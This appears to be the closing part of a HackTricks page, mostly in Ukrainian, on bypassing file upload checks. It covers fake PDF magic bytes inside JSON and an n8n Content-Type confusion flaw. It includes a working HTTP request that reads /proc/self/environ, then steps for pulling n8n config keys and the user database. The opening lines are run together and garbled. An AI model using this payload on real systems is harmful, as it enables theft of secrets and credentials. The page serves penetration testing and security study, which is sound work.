mmmagiclibrary: Поки%PDFmagic-байти знаходяться в перших 1024 байтах — файл вважається дійсним (див. приклад у пості)pdfliblibrary: Додайте фейковий PDF формат всередину поля JSON, щоб бібліотека думала, що це pdf (див. приклад у пості)filebinary: Він може читати до 1048576 байтів з файлу. Просто створіть JSON більший за цю величину, щоб він не зміг розпарсити вміст як json, а потім всередині JSON вставте початкову частину реального PDF — і він вважатиме це PDF
Content-Type confusion to arbitrary file read
Some upload handlers trust the parsed request body (e.g., context.getBodyData().files) and later copy the file from file.filepath without first enforcing Content-Type: multipart/form-data. If the server accepts application/json, you can supply a fake files object pointing filepath to any local path, turning the upload flow into an arbitrary file read primitive.
Example POST against a form workflow returning the uploaded binary in the HTTP response:
POST /form/vulnerable-form HTTP/1.1
Host: target
Content-Type: application/json
{
"files": {
"document": {
"filepath": "/proc/self/environ",
"mimetype": "image/png",
"originalFilename": "x.png"
}
}
}
Бекенд копіює file.filepath, тому в відповіді повертається вміст цього шляху. Типова послідовність: зчитати /proc/self/environ, щоб дізнатися $HOME, потім $HOME/.n8n/config для ключів і $HOME/.n8n/database.sqlite для ідентифікаторів користувачів.
Посилання
- n8n form upload Content-Type confusion → arbitrary file read PoC
- When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files
- https://github.com/modzero/mod0BurpUploadScanner
- https://github.com/almandin/fuxploider
- https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html
- https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
- https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
- https://blog.doyensec.com/2025/01/09/cspt-file-upload.html
- usd HeroLab – Gibbon LMS arbitrary file write (CVE-2023-45878)
- NVD – CVE-2023-45878
- 0xdf – HTB: TheFrizz
- The Art of PHP: CTF‑born exploits and techniques
- CVE-2024-21546 – NVD entry
- PoC gist for LFM .php. bypass
- 0xdf – HTB Environment (UniSharp LFM upload → PHP RCE)
- HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM
- Microsoft – mklink (command reference)
- 0xdf – HTB: Certificate (ZIP NUL-name and stacked ZIP parser confusion → PHP RCE)
- When Audits Fail: From Pre-Auth SSRF to RCE in TRUfusion Enterprise
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


